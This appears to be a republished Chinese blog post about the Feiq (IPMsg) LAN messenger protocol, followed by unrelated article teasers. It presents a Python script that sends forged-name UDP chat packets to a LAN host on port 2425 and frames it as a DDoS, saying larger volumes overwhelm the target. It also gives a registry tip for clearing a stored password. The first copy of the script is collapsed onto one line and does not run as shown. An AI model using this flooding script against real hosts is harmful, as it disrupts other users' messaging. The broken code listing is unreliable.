基于python使用UDP协议对飞秋进行通讯—DDOS

基于飞秋的信息传输

声明:笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

老规矩,封面在文末!

飞秋介绍

(1)最关键的是局域网用户列表的建立;飞秋启动时使用UDP协议向255.255.255.255这个广播地址发送广播包,默认端口是2425。广播包内容包含用户名、工作组、主机名、IP等信息;

已启动飞秋的用户通过2425端口收到此广播包后,就会在自己的用户列表中添加这个用户的用户名、工作组等信息,同时向对方IP发送本机用户的个人信息;从而双方都能建立起用户列表;

(2)刷新用户列表时发送的广播包和启动时差不多,只不过返回的标识信息略有不同;可以做一个小工具,监控2425端口内存流,就能截获刷新和聊天时的消息。

(3)传送聊天信息时同样使用UDP协议;由于UDP协议是无连接协议,传输速度快,但是没有确认机制,是不可靠的协议,需要自己定义返回信息的标志来判断对方是否收到信息;

(4)用户离线时发送一个离线广播包到255.255.255.255,收到此广播包的用户,根据包中的IP地址(也可能是多种判断标志或者包含硬件标识,比如网卡地址等)删除对方的用户列表信息;

(5)广域网无法直接使用广播方式,靠手工添加”局域网外广播列表”来建立相互的关系;

(6)飞秋传送文件是使用TCP协议,端口2425;

(7)飞秋使用C++语言,开发工具:Visual C++ 4.1, 6.0, or later;

(8)飞秋公开源码,在作者(来自日本广岛的白水启章)和汉化者(阿志)网站下载源码,源码注释为日文;可以使用VC++修改、编译;

(9)飞秋传书是来自日本的软件,日文版是它的第一版本;此外还有中文,英文,韩文,葡萄牙文等语言;

(10)飞秋使用的加密算法:RSA、Blowfish、RC;

(11)飞秋可以使用命令行方式发送信息,命令格式如下:

ipmsg [端口] /MSG [/LOG][/SEAL] <主机名或IP地址> <消息>

可以使用IPMsg [端口] 命令改变默认端口,并同时启动多个实例,但是修改后只有使用相同端口的用户才能收到相互的信息;

(12)飞秋非安装版,并不是纯绿色软件,直接删除会在注册表留下垃圾键值;

  • 飞秋把所有设置信息都保存在注册表的以下位置:

用户密码以不可逆加密方式存储.

  • 如果你忘记了密码, 可以在注册表中将此键值删除,清除密码*\HKEY_CURRENT_USER\Software\HSTools\IPMsgEng\PasswordStr

(13)飞秋一次传送文件数达到几千个时,有丢失文件的可能,怀疑是飞秋的一个bug,而传输大文件则没有问题;

(14)飞秋最稳定的正式版本是V2.06;目前v2.50 alpha6 版正在测试,尚未正式发布;其他如2.71,2007绿色版为修改版本,并非正版;

(15)飞秋支持的字符太少,需要补充一下。

源码

import socket
import time# ddos 损人不利己
for i in range(10):s = socket.socket(type=socket.SOCK_DGRAM)  # 以UDP协议通信s.connect(('192.168.141.1', 2425))packetId = str(time.time())name = "LEYINSEC"host = "MyHostName"command = str(0x00000020)content = "This is the message from python."message = "1.0:" + packetId + ":" + name + ":" + host + ":" + command + ":" + contents.send(message.encode())

源码解析

这段代码是一个简单的Python脚本,用于发送UDP数据包到指定的IP地址和端口。以下是对代码的详细分析:

导入模块

import socket
import time
  • socket模块:用于网络通信,创建和管理套接字。

  • time模块:用于获取当前时间戳。

循环发送数据包

for i in range(10):
  • 这个循环会执行10次,每次循环都会发送一个UDP数据包。

创建UDP套接字

s = socket.socket(type=socket.SOCK_DGRAM)  # 以UDP协议通信
  • socket.socket()函数用于创建一个新的套接字对象。

  • type=socket.SOCK_DGRAM参数指定使用UDP协议。

连接到目标地址

s.connect(('192.168.141.1', 2425))
  • connect()方法用于连接到指定的IP地址和端口。

  • 这里的目标是IP地址192.168.141.1和端口2425

构建消息内容

packetId = str(time.time())
name = "LEYINSEC"
host = "MyHostName"
command = str(0x00000020)
content = "This is the message from python."
message = "1.0:" + packetId + ":" + name + ":" + host + ":" + command + ":" + content
  • packetId:使用当前时间戳作为唯一标识符。

  • namehostcommandcontent:这些变量用于构建消息内容。

  • message:将所有部分用冒号分隔并拼接成一个字符串。

发送消息

s.send(message.encode())
  • send()方法用于发送数据。

  • message.encode()将字符串消息编码为字节流,因为send()方法需要字节类型的数据。

注意事项

  1. DDoS攻击:这段代码虽然简单,但如果在一个循环中不断发送大量数据包到同一个目标地址,可能会被视为DDoS(分布式拒绝服务)攻击。这种行为是不道德的,也可能违法。

  2. 资源消耗:频繁创建和关闭套接字会消耗系统资源,可能导致性能问题。

  3. 错误处理:代码中没有错误处理机制,如果连接失败或发送失败,程序会抛出异常并终止。

效果演示

可以看到,一直在给飞秋发信息,如果数据量较大的话,就可以达到DDOS的效果。网安人最重要的是什么,要学会举一反三。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/890435.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JAVA:组合模式(Composite Pattern)的技术指南

1、简述 组合模式(Composite Pattern)是一种结构型设计模式,旨在将对象组合成树形结构以表示“部分-整体”的层次结构。它使客户端对单个对象和组合对象的使用具有一致性。 设计模式样例:https://gitee.com/lhdxhl/design-pattern-example.git 2、什么是组合模式 组合模式…

LeetCode:222.完全二叉树节点的数量

跟着carl学算法&#xff0c;本系列博客仅做个人记录&#xff0c;建议大家都去看carl本人的博客&#xff0c;写的真的很好的&#xff01; 代码随想录 LeetCode&#xff1a;222.完全二叉树节点的数量 给你一棵 完全二叉树 的根节点 root &#xff0c;求出该树的节点个数。 完全二…

MaxKB基于大语言模型和 RAG的开源知识库问答系统的快速部署教程

1 部署要求 1.1 服务器配置 部署服务器要求&#xff1a; 操作系统&#xff1a;Ubuntu 22.04 / CentOS 7.6 64 位系统CPU/内存&#xff1a;4C/8GB 以上磁盘空间&#xff1a;100GB 1.2 端口要求 在线部署MaxKB需要开通的访问端口说明如下&#xff1a; 端口作用说明22SSH安装…

基于指纹图像的数据隐藏和提取matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 2.算法运行软件版本 matlab2022a 3.部分核心程序 &#xff08;完整版代码包含详细中文注释和操作步骤视频&#xff09…

kubeadm一键部署K8S 集群架构

kubeadm一键部署K8S 集群架构(centos7) https://www.k8src.cn/ https://kubernetes.io/zh-cn/docs/home/ https://blog.csdn.net/m0_58709145/article/details/140128179 https://blog.csdn.net/jiaqijiaqi666/article/details/129745828 Kubeadm init报错[ERROR CRI]: contai…

直流电机驱动电路分享(HIP4082)

一、原理图分享 注意&#xff1a;M2_INA、M2_INB可直接接3.3V电平信号。 二、芯片介绍 1、HIP4082 HIP4082是一款高频驱动器&#xff0c;专为半桥和全桥应用而设计。它具有四个高/低侧驱动输出&#xff0c;可以提供高达100V的驱动电压。HIP4082还具有逻辑级输入和反馈输入&a…

企业版 YashanDB 23.2.4 分布式集群 数据库一主二备集群安装部署指南

一、概述 1.1 文档目标 本部分旨在为技术人员提供崖山数据库企业版 23.2 在 CentOS 7 x86_64 操作系统上进行安装部署操作的全面且清晰的指引。通过对系统架构、集群拓扑和部署需求的精确阐述&#xff0c;使读者能够在安装过程开始前形成系统的概念架构&#xff0c;为后续的详…

性能】JDK和Jmeter的安装与配置

一、JDK环境配置 1. 下载JDK 官网下载地址&#xff1a;http://www.oracle.com/technetwork/java/javase/downloads/java-archive-downloads-javase7-521261.html 选择对应系统的安装包&#xff0c;下载后安装&#xff0c;安装中记录JDK安装的地址&#xff0c;之后一直点击下一…

Mysql之YUM安装时GPG 密钥报错问题处理

一、背景说明 使用YUM安装mysql5.7的时候报错&#xff0c;报错信息提示未安装公钥。博主查看/etc/yum.repos.d/mysql-community.repo配置文件中关于公钥的配置&#xff0c;确实启用了公钥验证&#xff0c;博主再排查过程中还是走了一些弯路&#xff0c;最终顺利解决了&#xff…

启动报错java.lang.NoClassDefFoundError: ch/qos/logback/core/status/WarnStatus

报错信息图片 日志&#xff1a; Exception in thread "Quartz Scheduler [scheduler]" java.lang.NoClassDefFoundError: ch/qos/logback/core/status/WarnStatus先说我自己遇到的问题&#xff0c;我们项目在web设置了自定义的log输出路径&#xff0c;多了一个 / 去…

Elasticsearch-分词器详解

什么是分词器 1、分词器介绍 对文本进行分析处理的一种手段&#xff0c;基本处理逻辑为按照预先制定的分词规则&#xff0c;把原始文档分割成若干更小粒度的词项&#xff0c;粒度大小取决于分词器规则。 常用的中文分词器有ik按照切词的粒度粗细又分为:ik_max_word和ik_smart&…

Docker 入门:如何使用 Docker 容器化 AI 项目(一)

引言 在人工智能&#xff08;AI&#xff09;项目的开发和部署过程中&#xff0c;环境配置和依赖管理往往是开发者遇到的挑战之一。开发者通常需要在不同的机器上运行同样的代码&#xff0c;确保每个人使用的环境一致&#xff0c;才能避免 “在我的机器上可以运行”的尴尬问题。…

ExcelVBA编程输出ColorIndex与对应颜色色谱

标题 ExcelVBA编程输出ColorIndex与对应颜色色谱 正文 解决问题编程输出ColorIndex与对应色谱共56&#xff0c;打算分4纵列输出&#xff0c;标题是ColorIndex,Color,Name 1. 解释VBA中的ColorIndex属性 在VBA&#xff08;Visual Basic for Applications&#xff09;中&#xff…

2024年11月 蓝桥杯青少组 STEMA考试 Scratch真题

2024年11月 蓝桥杯青少组 STEMA考试 Scratch真题&#xff08;选择题&#xff09; 题目总数&#xff1a;5 总分数&#xff1a;50 选择题 第 1 题 单选题 Scratch运行以下程宇后&#xff0c;小兔子会&#xff08; &#xff09;。 A. 变小 B. 变大 C. 变色 D. …

springboot470基于协同过滤算法的东北特产销售系统的实现(论文+源码)_kaic

摘 要 信息数据从传统到当代&#xff0c;是一直在变革当中&#xff0c;突如其来的互联网让传统的信息管理看到了革命性的曙光&#xff0c;因为传统信息管理从时效性&#xff0c;还是安全性&#xff0c;还是可操作性等各个方面来讲&#xff0c;遇到了互联网时代才发现能补上自古…

37. Three.js案例-绘制部分球体

37. Three.js案例-绘制部分球体 实现效果 知识点 WebGLRenderer WebGLRenderer 是Three.js中的一个渲染器类&#xff0c;用于将3D场景渲染到网页上。 构造器 WebGLRenderer( parameters : Object ) 参数类型描述parametersObject渲染器的配置参数&#xff0c;可选。 常用…

leetcode 面试经典 150 题:长度最小的子数组

链接长度最小的子数组题序号209题型数组解题方法滑动窗口难度中等 题目 给定一个含有 n 个正整数的数组和一个正整数 target 。找出该数组中满足其总和大于等于 target 的长度最小的 子数组 [numsl, numsl1, …, numsr-1, numsr] &#xff0c;并返回其长度。如果不存在符合条件…

【游戏设计原理】22 - 石头剪刀布

一、游戏基础&#xff1a;拳头、掌心、分指 首先&#xff0c;石头剪刀布&#xff08;又名“Roshambo”&#xff09;看似简单&#xff0c;实际上可是个“深藏玄机”的零和博弈&#xff08;听起来很高深&#xff0c;其实就是输赢相抵消的意思&#xff09;。游戏中有三种手势&…

五、windows上vscode构建c/c++环境

1、安装vscode 官网下载界面&#xff1a;https://code.visualstudio.com/Download 请根据电脑系统安装所需版本点击下载链接&#xff08;一般情况下点击windows按钮即可&#xff09;鼠标左键双击&#xff0c;即可运行安装程序&#xff0c;点击【确认】&#xff1b;选择安装路径…

三格电子——新品IE103转ModbusTCP网关

型号&#xff1a;SG-TCP-IEC103 产品概述 IE103转ModbusTCP网关型号SG-TCP-IEC103&#xff0c;是三格电子推出的工业级网关&#xff08;以下简称网关&#xff09;&#xff0c;主要用于IEC103数据采集、DLT645-1997/2007数据采集&#xff0c;IEC103支持遥测和遥信&#xff0c;可…